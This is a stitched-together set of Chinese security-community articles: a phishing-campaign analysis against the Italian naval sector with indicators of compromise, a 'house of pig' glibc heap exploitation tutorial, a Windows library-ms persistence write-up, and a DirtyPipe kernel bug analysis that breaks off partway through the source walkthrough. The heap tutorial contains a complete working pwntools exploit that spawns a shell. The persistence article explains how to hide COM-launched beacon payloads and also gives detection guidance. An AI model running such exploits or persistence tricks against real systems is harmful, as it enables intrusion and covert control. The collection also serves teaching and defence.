Fincantieri安全团队给我们共享了一份恶意电子邮件副本，
这份邮件是Yoroi的网络安全防御中心在10月9日至15日之间截获的。由于SMTP头部中发件人与域数据不一致，邮件显得可疑：
From: [email protected]
Subject: Quotation on Marine Engine & TC Complete
User-Agent: Horde Application Framework 5
X-PPP-Vhost: jakconstruct.com
电子邮件从“ jakconstruct.com”域名相关的邮箱发送，该域名归quatari的AK建筑公司所有，这表明他们的电子邮件系统可能遭到了滥用。
<center>图-1 SMTP头中的smtp详细信息<center>
在SMTP头中，from字段里的“anchors-chain.com”域名早在恶意邮件被发送前几周就已被购买，域名拥有者于2018年6月21日在“NameSilo，LLC”进行了注册，并设置了隐私保护。
<center>图-2 “anchors-chain.com”的Whois数据<center>
从2018年6月22日到9月2日，该域名解析为188.241.39.10，为Fast Serv
Inc.所有。域名在托管时，有时会被非法使用（例如：被当做C2服务器，下发恶意软件，窃取个人信息）然而，在撰写本文时，该域名已经下线，所以难以确定在“
MartyMcFly ”活动中，它是否被用作跳转链接。
此外，“ anchor s -chain.com ”域名提到了一家亚洲公司，该公司以生产锚链为主，在造船业有广泛的客户，那就是“Asian Star
Anchor Chain Co. Ltd.”（亚星星锚链有限公司），二者域名几乎相同，字母“ s
”是攻击者注册的域名与合法域名之间的唯一区别。此外，邮件主体使用的中文，在签名处有只指向公司另一个合法域名的链接，可以确定攻击者想要冒充ASAC的工作人员发送估价单和价目表。
<center>图-3 恶意电子邮件<center>
### 附件
该电子邮件消息中包含名为“Marine_Engine_Spare__Parts_Order.pdf”的pdf文档，该文档最初使用“ Microsoft
Word 2013 ”撰写，然后在“ Online2PDF.com ”在线转换为PDF格式。
此文档不包含任何javascript脚本或漏洞利用代码，但文档页面中的链接试图引诱受害者在所谓的“ Adobe
在线保护”下打开pdf文档。这个嵌入式链接指向短域名“ Ow.ly ” 中的外部资源。
<center>图-4 恶意pdf文档<center>
所指向的外部链接“ <http://ow.ly/laqJ30lt4Ou> ”
因“垃圾邮件”问题已被停用，在撰写本文时已无法访问。然而，通过分析可按时间段回溯攻击事件的沙盒生成的报告，可以部分地重现payload执行后的状态。
<center>图-5 附件的进程树<center>
动态跟踪拓扑中记录了“ .usa.cc ”TLD 上两个可疑域名的网络行为，它们是在“ iexplore.exe ”浏览器进程启动后发起的：分别“
wvpznpgahbtoobu.usa.cc ”和“ xtyenvunqaxqzrm.usa. cc “。
<center>图-6 截获的DNS请求<center>
第一个网络交互与pdf附件“ <http://ow.ly/laqJ30lt4Ou> ” 内的嵌入链接相关，将会重定向到该短域名下的另一个资源。
<center>图-7 重定向到第二个ow.ly url<center>
请求“ <http://ow.ly/Kzr430lt4NV> ”，将由一个HTTP 301重定向到与之前标识的“ usa.cc ”相关的HTTPS资源：
<center>图-8 重定向到"wvpznpgahbtoobu.usa.cc"<center>
通过分析会话期间截获的SSL / TLS流量，显示它与ip地址188.165.199.85有多次连接，这是一台由OVH
SAS托管的专用服务器。其SSL证书由“cPanel，Inc”CA发布，自2018年8月16日生效.由于在Subject字段中找到了通用名称“ CN =
wvpznpgahbtoobu.usa.cc ”，因此该加密证书可能与先前讨论的HTTP 301重定向有关。
<center>图-9 "wvpznpgahbtoobu.usa.cc"SSL证书详细信息<center>
另一个SSL / TLS链接也是与“xtyenvunqaxqzrm.usa.cc ”相关的流量，指向的 ip地址同样为188.165.199.85
<center>图-10 “xtyenvunqaxqzrm.usa.cc”SSL证书详细信息<center>
OSINT调查整理了过去“ xtyenvunqaxqzrm.usa.cc
”被恶意利用的证据，例如，2018年8月23日urlquery发布的报告显示，曾经可以通过访问“ https：// xtyenvunqaxqzrm
.usa.cc / maeskl ” 跳转到一个钓鱼网站 i nes / Maerskline / maer.php “，这是一个冒充” 马士基
“控股航运公司门户网站的登录页面，该公司是一家跨国物流公司，同时也是世界上最大的集装箱运输公司之一。
<center>图-11 托管在xtyenvunqaxqzrm.usa.cc上的钓鱼页面 <center>
在动态执行表中的元素表明了“ xtyenvunqaxqzrm.usa.cc ”的OSINT信息与附件本身之间的兼容性：在沙盒的自动分析部分，可以看到“
login.html ”在执行完成后被删除，该文件已被VirusTotal归类为网络钓鱼模板（hash
4cd270fd943448d595bfd6b0b638ad10）。
<center>图-12 login.html页面在执行期间被删除<center>
### 结论
在与Fincantieri安全团队的联合分析中收集的证据表明，一些未查明的威胁活动企图入侵意大利海军部门。至此为止我们无法确认两次有计划的攻击是否均为“MartyMcFly”所实施，例如两次攻击所使用的payload类型存在明显差异。然而，二者的共同点使我们仍不放弃这种可能性，例如，以下指标为他们的共同点：
* 冒充海军部队服务提供商及卫星公司.
* 精心选择与知名公司合法域名类似的域名
* 构造包含外部链接、文档 等内容的邮件，与真实邮件保持格式一致.
* 可能使用 “Microsoft Word 2013”
最后，感谢Fincantieri安全团队的同事分享这些攻击数据，帮助我们调查此次威胁事件。
IOC
下面是分析过程中总结的一些ioc:
垃圾邮件：
* anchors-chain.com
* 188.241.39.10
* [email protected]
* Quotation on Marine Engine & TC Complete
* jakconstruct.com
url:
* <http://ow.ly/laqJ30lt4Ou>
* <http://ow.ly/Kzr430lt4NV>
* wvpznpgahbtoobu.usa.cc
* xtyenvunqaxqzrm.usa.cc
* <https://wvpznpgahbtoobu.usa.cc/wvpznpgahbtoobu/usaadobe/lexorder.php>
* 188.165.199.85
Hash:
* 7c9576123a35749c1699f53a1206577e
* 4cd270fd943448d595bfd6b0b638ad10
</center></center></center></center></center></center></center></center></center></center></center></center></center></center></center></center></center></center></center></center></center></center></center></center> | 社区文章 |
# house of pig一个新的堆利用详解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
###
## 0x01 简述：
本利用方式应用于xctf 2021 final同名题目，该攻击方式适用于 libc 2.31及以后的新版本 libc，本质上是通过 libc2.31 下的
`largebin attack`以及 `FILE 结构`利用，来配合 libc2.31 下的 `tcache stashing unlink
attack` 进行组合利用的方法。主要适用于程序中仅有 `calloc 函数`来申请 chunk，而没有调用 `malloc 函数`的情况。（因为
calloc 函数会跳过 tcache，无法完成常规的 tcache attack 等利用，同时，因为程序中没有 malloc 函数也无法在正常的
`tcache stashing unlink attack` 之后，将放入 tcache 中的 fake chunk 给申请出来 ）。
该方法最为核心的地方在于，利用了 glibc 中 `IO_str_overflow` 函数内会连续调用 malloc 、memcpy、free
函数的特点，并且这三个函数的参数都可以由 FILE 结构内的数据来控制。
关于libc2.31 下的 largebin attack
的手法可以参考：[largebin_attack](https://www.anquanke.com/post/id/189848)，不过 libc2.29
之后的 libc 将原本的两条利用路径修补了一条，所以只有一条路径可以完成该攻击了。该攻击的最终效果是可以往任意地址写一个当前 largebin
堆块的堆地址。
关于libc2.31 下的 tcache stashing unlink attack
的细节详见：[tcache_stashing_unlink_attack](https://www.anquanke.com/post/id/198173)，该攻击的最终效果有两个，我们这里使用的是该攻击可以将任意目标
fake chunk 放入 tcache 链表头部的效果特性。
## 0x02 利用条件：
至少存在 UAF 漏洞。
## 0x03 利用思路：
1、先用 UAF 漏洞泄露 libc 地址 和 heap 地址。
2、再用 UAF 修改 largebin 内 chunk 的 fd_nextsize 和 bk_nextsize 位置，完成一次 `largebin
attack`，将一个堆地址写到 `__free_hook-0x8` 的位置，使得满足之后的 tcache stashing unlink attack
需要目标 fake chunk 的 bk 位置内地址可写的条件。
3、先构造同一大小的 5个 tcache，继续用 UAF 修改该大小的 smallbin 内 chunk 的 fd 和 bk 位置，完成一次 `tcache
stashing unlink attack`。由于前一步已经将一个可写的堆地址，写到了`__free_hook-0x8`，所以可以将
__free_hook-0x10 的位置当作一个 fake chunk，放入到 tcache 链表的头部。但是由于没有 `malloc
函数`，我们无法将他申请出来。
4、最后再用UAF 修改 largebin 内 chunk 的 fd_nextsize 和 bk_nextsize 位置，完成第二次 `largebin
attack`，将一个堆地址写到 `_IO_list_all` 的位置，从而在程序退出前 flush 所有 IO 流的时候，将该堆地址当作一个 FILE
结构体，我们就能在该堆地址的位置来构造任意 FILE结构了。
5、在该堆地址构造 FILE 结构的时候，重点是将其 vtable 由 _IO_file_jumps 修改为 _IO_str_jumps，那么当原本应该调用
IO_file_overflow 的时候，就会转而调用如下的 IO_str_overflow。而该函数是以传入的 FILE
地址本身为参数的，同时其中会连续调用 malloc、memcpy、free 函数（如下图），且三个函数的参数又都可以被该 FILE
结构中的数据控制。那么适当的构造 FILE 结构中的数据，就可以实现利用 IO_str_overflow 函数中的 `malloc` 申请出那个已经被放入到
tcache 链表的头部的包含 `__free_hook` 的 fake chunk；紧接着可以将提前在堆上布置好的数据，通过
IO_str_overflow 函数中的`memcpy` 写入到刚刚申请出来的包含`__free_hook`的这个 chunk，从而能任意控制
`__free_hook` ，这里可以将其修改为 system函数地址；最后调用 IO_str_overflow 函数中的 `free` 时，就能够触发
__free_hook ，同时还能在提前布置堆上数据的时候，使其以字符串 “/bin/sh\x00” 开头，那么最终就会执行
system(“/bin/sh”)。
## 0x04 例题分析：
这里以 xctf final 的 house_of_pig 题目为例，题目是当时 2020年下半年的时候，就给 xctf final
出好了的，只不过没想到比赛拖到了 2021年 才办，所以题目使用的是当时最新的 libc2.31。由于一开始想考察的是 trick
本身，为了减少堆布局的复杂度，还在 add 的时候给了一个 01dwang gift
，结果由于条件限制的不严格，也导致了其他的非预期解法，没有给师傅们很好的比赛体验，深表歉意。不过比赛中获得 1 血的队伍 Nu1l 是正解，也算是这个
trick 没有浪费。
另外需要说明的是，星盟的[ha1vk](https://www.anquanke.com/member/146878)师傅用的 `house of
banana` 也是一种优秀的解法，不过需要适当爆破 rtld_global_ptr 的位置，并且触发的条件需要满足如下两个之一：
1. 程序显式调用 exit。
2. 程序能通过主函数返回。
而 `house of pig`的触发条件就是调用 `_IO_flush_all_lockp`的条件，即需要满足如下三个之一：
1. 当 libc 执行abort流程时。
2. 程序显式调用 exit 。
3. 程序能通过主函数返回。
相对来说触发的条件稍微宽松一点点。（感觉下次可以再出个题目，程序中不去显式调用 exit ，也不能通过主函数返回，只能去破坏堆结构导致 libc 的
abort，从而考察`house of pig`，2333）。
### 漏洞：
程序中有三个角色 Peppa、Daddy、Mummy，每个角色都有各自的堆块管理列表和各自的 Add、View、Edit、Delete
函数。Peppa的堆块是每隔0x30中的前 0x10个字节可以被写一次，Mummy的堆块是每隔0x30中的中间
0x10个字节可以被写一次，Daddy的堆块是每隔0x30中的后 0x10个字节可以被写一次。
正常来说，需要知道每个角色的密码，才能通过对应密码 md5 的比较判断，但是这里判断用的 strncmp，且其中有个 md5 值中的包含 ‘\x00’
，所以实际上会提前截断，而以 ‘\x3c\x44\x00’ 开头的md5，对应的原值其实是有很多的，所以这里可以任意切换角色。
真正的核心漏洞是在每个角色的 Delete功能中，存在`UAF漏洞`。
每个角色被切换的时候会调用saved函数，下一次被切换回来的时候又会调用recover来恢复，由于在saved中没有保存 flag
标志位，所以切换回来一次之后，就能用这个`UAF漏洞`来任意读取或者写入堆块了，但是不能double free。
### 利用：
由于每个角色的 Add 功能都是用 `calloc` 来申请chunk 的，而 calloc 会跳过 tcache，所以无法使用 tcache
attack；并且申请的chunk 至少要大于 0x90，所以也不能用 fastbin attack。
这里就需要利用我们的 `house of pig`。详见 exp
from pwn import *
context.log_level = 'debug'
io = process('./pig')
# io = remote('182.92.203.154', 35264)
elf = ELF('./pig')
libc = elf.libc
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
def Menu(cmd):
sla('Choice: ', str(cmd))
def Add(size, content):
Menu(1)
sla('size: ', str(size))
sla('message: ', content)
def Show(idx):
Menu(2)
sla('index: ', str(idx))
def Edit(idx, content):
Menu(3)
sla('index: ', str(idx))
sa('message: ', content)
def Del(idx):
Menu(4)
sla('index: ', str(idx))
def Change(user):
Menu(5)
if user == 1:
sla('user:\n', 'A\x01\x95\xc9\x1c')
elif user == 2:
sla('user:\n', 'B\x01\x87\xc3\x19')
elif user == 3:
sla('user:\n', 'C\x01\xf7\x3c\x32')
#----- prepare tcache_stashing_unlink_attack
Change(2)
for x in xrange(5):
Add(0x90, 'B'*0x28) # B0~B4
Del(x) # B0~B4
Change(1)
Add(0x150, 'A'*0x68) # A0
for x in xrange(7):
Add(0x150, 'A'*0x68) # A1~A7
Del(1+x)
Del(0)
Change(2)
Add(0xb0, 'B'*0x28) # B5 split 0x160 to 0xc0 and 0xa0
Change(1)
Add(0x180, 'A'*0x78) # A8
for x in xrange(7):
Add(0x180, 'A'*0x78) # A9~A15
Del(9+x)
Del(8)
Change(2)
Add(0xe0, 'B'*0x38) # B6 split 0x190 to 0xf0 and 0xa0
#----- leak libc_base and heap_base
Change(1)
Add(0x430, 'A'*0x158) # A16
Change(2)
Add(0xf0, 'B'*0x48) # B7
Change(1)
Del(16)
Change(2)
Add(0x440, 'B'*0x158) # B8
Change(1)
Show(16)
ru('message is: ')
libc_base = uu64(rl()) - 0x1ebfe0
lg('libc_base')
Edit(16, 'A'*0xf+'\n')
Show(16)
ru('message is: '+'A'*0xf+'\n')
heap_base = uu64(rl()) - 0x13940
lg('heap_base')
#----- first largebin_attack
Edit(16, 2*p64(libc_base+0x1ebfe0) + '\n') # recover
Add(0x430, 'A'*0x158) # A17
Add(0x430, 'A'*0x158) # A18
Add(0x430, 'A'*0x158) # A19
Change(2)
Del(8)
Add(0x450, 'B'*0x168) # B9
Change(1)
Del(17)
Change(2)
free_hook = libc_base + libc.sym['__free_hook']
Edit(8, p64(0) + p64(free_hook-0x28) + '\n')
Change(3)
Add(0xa0, 'C'*0x28) # C0 triger largebin_attack, write a heap addr to __free_hook-8
Change(2)
Edit(8, 2*p64(heap_base+0x13e80) + '\n') # recover
#----- second largebin_attack
Change(3)
Add(0x380, 'C'*0x118) # C1
Change(1)
Del(19)
Change(2)
IO_list_all = libc_base + libc.sym['_IO_list_all']
Edit(8, p64(0) + p64(IO_list_all-0x20) + '\n')
Change(3)
Add(0xa0, 'C'*0x28) # C2 triger largebin_attack, write a heap addr to _IO_list_all
Change(2)
Edit(8, 2*p64(heap_base+0x13e80) + '\n') # recover
#----- tcache_stashing_unlink_attack and FILE attack
Change(1)
payload = 'A'*0x50 + p64(heap_base+0x12280) + p64(free_hook-0x20)
Edit(8, payload + '\n')
Change(3)
payload = '\x00'*0x18 + p64(heap_base+0x147c0)
payload = payload.ljust(0x158, '\x00')
Add(0x440, payload) # C3 change fake FILE _chain
Add(0x90, 'C'*0x28) # C4 triger tcache_stashing_unlink_attack, put the chunk of __free_hook into tcache
IO_str_vtable = libc_base + 0x1ED560
system_addr = libc_base + libc.sym['system']
fake_IO_FILE = 2*p64(0)
fake_IO_FILE += p64(1) #change _IO_write_base = 1
fake_IO_FILE += p64(0xffffffffffff) #change _IO_write_ptr = 0xffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(heap_base+0x148a0) #v4
fake_IO_FILE += p64(heap_base+0x148b8) #v5
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, '\x00')
fake_IO_FILE += p64(0) #change _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, '\x00')
fake_IO_FILE += p64(IO_str_vtable) #change vtable
payload = fake_IO_FILE + '/bin/sh\x00' + 2*p64(system_addr)
sa('Gift:', payload)
Menu(5)
sla('user:\n', '')
irt() | 社区文章 |
# 如何滥用Windows库文件实现本地持久化
|
##### 译文声明
本文是翻译文章，文章来源：countercept.com
原文地址：<https://www.countercept.com/blog/abusing-windows-library-files-for-persistence/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
想象一个，如果有个攻击者在我们的电脑上释放了一个恶意文件，每当我们访问系统中最喜欢的目录（如`Documents`目录）时就会执行恶意文件，并且我们对此一无所知，这是多么恐怖的一件事。攻击者可以利用鲜为人知的一种持久化技术：Windows库文件（Library
File）来完成这个任务。
Windows系统中的库文件可以帮助用户在单个视图中查看多个目录的内容。Windows库可以包含存在本地或者远程存储位置中的[文件及目录](https://docs.microsoft.com/en-us/windows/client-management/windows-libraries)。
对这些文件的恶意使用最早可以追溯到维基解密公布的[Vault
7](https://wikileaks.org/ciav7p1/cms/page_13763381.html)相关材料，该方法与[滥用Junction目录](https://www.countercept.com/our-thinking/hunting-for-junction-folder-persistence/)的方法有许多相似之处。这两种技术检测起来较为困难，因此攻击者可以选择这些方案，即便是最好的检测团队也会面临巨大的挑战。
本文以较短的篇幅介绍了如何滥用库文件实现本地持久化，也介绍了如何针对性寻找这类攻击特征。
## 二、何为库文件
默认情况下，Windows库文件的具体路径为`%APPDATA%\Microsoft\Windows\Libraries`，文件扩展名为`library-ms`。这些文件采用XML格式，遵循公开可用的schema。
举个例子，我们来分析`Documents`库文件（即`Documents.library-ms`），该文件对应的是`Documents`目录。观察该文件，其中最有趣的部分是`SimpleLocation`元素的[URL值](https://docs.microsoft.com/en-us/windows/desktop/search/search-schema-sconn-simplelocation)。这个元素定义了基于文件系统或者协议处理程序的“search connectors”（搜索连接器）的具体位置。
在这个例子中，该库文件中的URL元素使用GUID（global unique
identifiers，全局唯一标识符）指向了两个不同的目录，具体的[GUID](https://docs.microsoft.com/en-gb/windows/desktop/shell/knownfolderid)及文档目录如下所示：
GUID | 目录
---|---
{FDD39AD0-238F-46AF-ADB4-6C85480369C7} | %USERPROFILE%Documents
{ED4824AF-DCE4-45A8-81E2-FC7965083634} | %PUBLIC%Documents
由于使用了这两个位置，因此打开这个库时，用户可以在一个视图中查看两个不同目录的内容。这两个目录各自的内容如下图所示：
然而，如果我们以库方式来查看时，这些子元素都会在同一个目录中列出：
## 三、创建恶意库文件
那么我们如何利用这一功能实现本地持久化呢？
最简单的技术是添加另一个URL元素，用来加载恶意的COM对象，这样每当用户访问该目录或者系统呈现该目录时，我们的COM对象就会被执行。
在如下例子中，我们创建了一个COM对象，该对象引用了名为`beacon.dll`的一个载荷。
然后在库文件中添加一个`searchConnector`，其URL元素引用的是我们创建的`CLSID`。
最后，将库文件保存到用户桌面，这样看起来像是一个人畜无害的`Documents`目录。如果用户打开该目录，则会显示正常`Documents`目录的内容。然而在后台我们的COM对象同样会被执行，利用`rundll32.exe`运行我们的载荷，进程的PID值为5392.
有趣的是，`rundll32`看上去似乎没有父进程。这是因为父进程`dllhost.exe`（COM
Surrogate进程）会在运行COM对象后退出。在Sysmon中，我们可以看到如下图所示的类似事件，显示`dllhost.exe`为父进程，`rundll32.exe`为子进程。
观察Process
Monitor，我们可以看到`dllhost.exe`会查询我们创建的`CLSID`，然后加载我们的`beacon.dll`，最后执行`rundll32.exe`。
虽然这个过程中使用的这些数据点可作为检测特征，但合法的活动也会用到这种方式，因此很可能出现误报，然而，通过数据点关联我们可以得出更为准确的结果。
## 四、本地持久化
为了实现本地持久化，我们需要系统在启动时能够执行我们的`library-ms`文件，那么怎样才能达到这个目的呢？
除了常见的本地持久化技术以外，还有更为隐蔽的一种方法，那就是利用Windows
Explorer，在用户查看包含该文件的目录时就会自动执行该文件。因此用户无需实际点击文件，只需要简单查看某个目录就足以达到同样的效果。比如，我们可以将库文件放在桌面上，这样当系统启动时，Explorer会自动呈现桌面，我们的COM对象就得以执行。
从检测角度来看，在启动时执行和在用户点击时执行的区别在于，启动执行的父进程为`explorer.exe`，因为Explorer是呈现库文件的根本原因。
## 五、寻找library-ms文件
我们可以使用PowerShell来寻找恶意库文件，检查是否存在扩展名为`library-ms`的文件，然后过滤URL标签，获取CLSID值，提取相关的注册表键值以便进一步分析。
这种场景只考虑到了URL元素的滥用情况，我们可能需要寻找其他元素，以便发现更多的异常特征。
我们提供了一个脚本，用来检查满足如上条件、位于`%USERPROFILE%`目录中的任意`library-ms`文件，我们可以使用该脚本来检测与该技术有关的注册表键值是否存在异常。
大家可以访问[Github](https://gist.github.com/countercept/6890be67e09ba3daed38fa7aa6298fdf)下载该脚本。
此外，监控`library-ms`文件的创建操作也非常有用，这是一个非常准确的特征，因为带有这些扩展名的文件很少会被创建。比如我们可以使用类似Sysmon之类的工具来监控这类事件，简单将如下信息添加到Sysmon配置文件的`FileCreate`标签中即可：
当创建`library-ms`文件时，我们可以看到如下文件创建事件：
## 六、总结
Windows系统中有许多“传统可用的”持久化技术，如注册表、服务、计划任务等等，许多防御方会重点关注这些位置。在本文中，我们介绍了利用`library-ms`文件的一种独特技巧，可以隐藏在正常视图中，通过COM引用来执行恶意代码，给检测和分析过程带来更多的挑战。
蓝队应该重点关注`.library-ms`文件的创建及修改操作，也需要关注COM元素。此外，由`explorer.exe`或者`dllhost.exe`执行的可疑进程也能用来进一步确认恶意活动行为。 | 社区文章 |
# Linux 内核 DirtyPipe 任意只读文件覆写漏洞（CVE-2022-0847）分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：Nitro[@360GearTeam](https://github.com/GearTeam "@GearTeam")
## 简介
2022 年 3 月 7 日，据一位国外开发者披露[^1](https://dirtypipe.cm4all.com/)，Linux
内核存在一个文件任意覆写漏洞，低权限用户可以利用此漏洞覆写本没有写权限的文件。由于这个漏洞是基于 Linux 的管道（pipe）形成的，因此被命名为
Dirty Pipe。漏洞的发现过程挺有意思的，可以参考发现者写的文章（见文末「参考资料」部分）。
漏洞形成原因：
使用 `splice(2)` [^5](https://man7.org/linux/man-pages/man2/splice.2.html)系统调用从一个只读文件向一个管道[^6](https://man7.org/linux/man-pages/man2/pipe.2.html)中传输数据时，会使管道用于保存数据的缓冲区共享文件的 page cache。由于
`PIPE_BUF_FLAG_CAN_MERGE` 标志位的存在，调用 `splice(2)` 之后再向管道中写入数据时，写入的数据会直接写到文件的
page cache 中。
漏洞危害：低权限用户可利用此漏洞向本没有写权限的文件中写入数据，进而实现提权。
CVE 编号： **CVE-2022-0847** 。
漏洞评分：7.8。
影响版本：
* 根据作者的描述， **5.8** 以上的内核均受影响。在 **5.16.11** 、 **5.15.25** 、 **5.10.102** 版本中被修复。
* 根据 Red Hat 官方通告[^2](https://access.redhat.com/security/cve/cve-2022-0847) ,[^3](https://access.redhat.com/security/vulnerabilities/RHSB-2022-002)，目前还没有发布已修复的内核软件包。受影响的 Red Hat 版本有：
* 使用 `redhat-virtualization-host` 内核的 `Red Hat Virtualization 4`。
* 使用 `kernel-rt` 或 `kernel` 内核软件包的 `Red Hat Enterprise Linux 8`。
* 根据 Debian 的官方通告[^4](https://security-tracker.debian.org/tracker/CVE-2022-0847)，已修复的内核版本号为：
* `stretch` ：`4.9.228-1`。
* `stretch (security)`：`4.9.303-1`。
* `buster`：`4.19.208-1`。
* `buster (security)`：`4.19.232-1`。
* `bullseye`：`5.10.84-1`。注：这是受影响的版本。官方通告中没有说明修复的版本号。
* `bullseye (security)`：`5.10.103-1`。
* `bookworm`：`5.16.11-1`。
* `sid`：`5.16.12-1`。
修复方法：根据使用的发行版，关注官方的漏洞通告并升级内核到已修复的版本。
## 漏洞分析过程
漏洞的利用过程与 Linux 管道和 `splice(2)` 系统调用的实现机制有关，因此当了解了二者的实现机制后，就很容易理解漏洞的形成原因。
因此漏洞分析过程分两部分：第一部分结合内核源码介绍管道和 `splice(2)` 的实现原理，第二部分通过运行 PoC
并动态调试内核，来实际体验并验证漏洞的触发过程。如果已经了解先导知识中所讲的内容，可直接跳到「漏洞复现」部分。
文中的源码分析基于 `5.10` 版本。「调试验证」部分基于 `5.11` 版本。
### 先导知识[^9](https://book.douban.com/subject/4843567//)
#### pipe 实现机制
首先给出一张描述 pipe
相关内核数据结构之间关系的图[^7](https://lwn.net/Articles/118750/)、[^8](https://www.slideshare.net/divyekapoor/linux-kernel-implementation-of-pipes-and-fifos)：
#### 创建 pipe
创建 pipe 的系统调用有两个：`pipe(2)` 和 `pipe2(2)`，原型为：
#include <unistd.h>
int pipe(int pipefd[2]);
int pipe2(int pipefd[2], int flags);
系统调用的定义在 `/fs/pipe.c`
（[https://elixir.bootlin.com/linux/v5.10/source/fs/pipe.c#L1008）](https://elixir.bootlin.com/linux/v5.10/source/fs/pipe.c#L1008%EF%BC%89)
文件中：
SYSCALL_DEFINE2(pipe2, int __user *, fildes, int, flags)
{
return do_pipe2(fildes, flags);
}
SYSCALL_DEFINE1(pipe, int __user *, fildes)
{
return do_pipe2(fildes, 0);
}
两个系统调用的入口都是 `do_pipe2()`
（[https://elixir.bootlin.com/linux/v5.10/source/fs/pipe.c#L986）](https://elixir.bootlin.com/linux/v5.10/source/fs/pipe.c#L986%EF%BC%89)
函数。这个函数的功能是：
* 调用 `__do_pipe_flags()` 函数创建两个 `struct file` 结构体实例和两个对应的文件描述符。
* 调用 `copy_to_user()` 函数将两个文件描述符拷贝给系统调用参数 `pipefd`。
* 调用 `fd_install()` 函数将文件描述符和 `struct file` 结构体实例关联起来。
##### __do_pipe_flags()
再看 `__do_pipe_flags()`
（[https://elixir.bootlin.com/linux/v5.10/source/fs/pipe.c#L936）](https://elixir.bootlin.com/linux/v5.10/source/fs/pipe.c#L936%EF%BC%89)
函数。函数原型为：
static int __do_pipe_flags(int *fd, struct file **files, int flags);
第一个参数 `fd` 用于保存创建的两个文件描述符，第二个参数用于保存创建的两个 `struct file` 结构体实例，第三个参数是系统调用参数
`flags` 的值。
`__do_pipe_flags()` 函数的工作为：
* 检查非法的标志位组合。
* 调用 `create_pipe_files()` 函数创建两个 `struct file` 结构体实例。
* 调用两次 `get_unused_fd_flags()` 函数创建两个文件描述符。
* 调用 `audit_fd_pair()` 函数处理审计相关的工作。
##### create_pipe_files()
再看 `create_pipe_files()`
函数（[https://elixir.bootlin.com/linux/v5.10/source/fs/pipe.c#L893）。](https://elixir.bootlin.com/linux/v5.10/source/fs/pipe.c#L893%EF%BC%89%E3%80%82)
函数的用途是根据传入的标志位创建两个 `struct file` 结构体实例。流程为：
* 调用 `get_pipe_inode()` 函数创建一个 inode 实例。
* 如果标志位设置了 `O_NOTIFICATION_PIPE` 位，则初始化一个 watch 队列。
* 调用 `alloc_file_pseudo()` 函数创建一个 `strcut file` 实例，并将 `private_data` 字段的值设置为 `inode->i_pipe` 的值。
* 调用 `alloc_file_clone()` 函数拷贝一个 `struct file` 实例，同样将其 `private_data` 字段的值设置为 `inode->i_pipe` 的值。
* 调用 `stream_open()` 函数打开两个文件。
##### get_pipe_inode()
接下来看看 `get_pipe_inode()` 函数是如何创建 inode 实例的。
* 调用 `new_inode_pseudo()` 函数创建一个 inode 实例。
* 调用 `alloc_pipe_info()` 函数创建一个 `pipe_inode_info` 实例。
* 设置 inode 实例的以下字段：
* `inode->i_pipe` 设置为 `pipe` 实例指针。
* `inode->i_fop` 设置为 `pipefifo_fops` 变量的指针。
* `inode->i_state` 设置为 `I_DIRTY`。
* `inode->i_mode` 设置为 `S_IFIFO | S_IRUSR | S_IWUSR`。
* `inode->i_uid` 设置为 `fsuid`，`inode->i_gid` 设置为 `fsgid`。
* `inode->i_atime`、`inode->i_mtime`、`inode->i_ctime` 均设置为当前时间。
##### 关键的内核数据结构
这里涉及到第一个关键的结构体 `struct
pipe_inode_info`（[https://elixir.bootlin.com/linux/v5.10/source/include/linux/pipe_fs_i.h#L57），](https://elixir.bootlin.com/linux/v5.10/source/include/linux/pipe_fs_i.h#L57%EF%BC%89%EF%BC%8C)
内核使用这个结构体来描述一个 pipe：
/**
* struct pipe_inode_info - a linux kernel pipe
* @mutex: mutex protecting the whole thing
* @rd_wait: reader wait point in case of empty pipe
* @wr_wait: writer wait point in case of full pipe
* @head: The point of buffer production
* @tail: The point of buffer consumption
* @note_loss: The next read() should insert a data-lost message
* @max_usage: The maximum number of slots that may be used in the ring
* @ring_size: total number of buffers (should be a power of 2)
* @nr_accounted: The amount this pipe accounts for in user->pipe_bufs
* @tmp_page: cached released page
* @readers: number of current readers of this pipe
* @writers: number of current writers of this pipe
* @files: number of struct file referring this pipe (protected by ->i_lock)
* @r_counter: reader counter
* @w_counter: writer counter
* @fasync_readers: reader side fasync
* @fasync_writers: writer side fasync
* @bufs: the circular array of pipe buffers
* @user: the user who created this pipe
* @watch_queue: If this pipe is a watch_queue, this is the stuff for that
**/
struct pipe_inode_info {
struct mutex mutex;
wait_queue_head_t rd_wait, wr_wait;
unsigned int head;
unsigned int tail;
unsigned int max_usage;
unsigned int ring_size;
#ifdef CONFIG_WATCH_QUEUE
bool note_loss;
#endif
unsigned int nr_accounted;
unsigned int readers;
unsigned int writers;
unsigned int files;
unsigned int r_counter;
unsigned int w_counter;
struct page *tmp_page;
struct fasync_struct *fasync_readers;
struct fasync_struct *fasync_writers;
struct pipe_buffer *bufs;
struct user_struct *user;
#ifdef CONFIG_WATCH_QUEUE
struct watch_queue *watch_queue;
#endif
};
pipe 中的数据保存在结构体 `pipe_buffer`
（[https://elixir.bootlin.com/linux/v5.10/source/include/linux/pipe_fs_i.h#L26）中的](https://elixir.bootlin.com/linux/v5.10/source/include/linux/pipe_fs_i.h#L26%EF%BC%89%E4%B8%AD%E7%9A%84)
`page` 字段：
/**
* struct pipe_buffer - a linux kernel pipe buffer
* @page: the page containing the data for the pipe buffer
* @offset: offset of data inside the @page
* @len: length of data inside the @page
* @ops: operations associated with this buffer. See @pipe_buf_operations.
* @flags: pipe buffer flags. See above.
* @private: private data owned by the ops.
**/
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
顺便看看 `alloc_pipe_info()` 函数是怎样初始化 `pipe_inode_info` 结构体的。
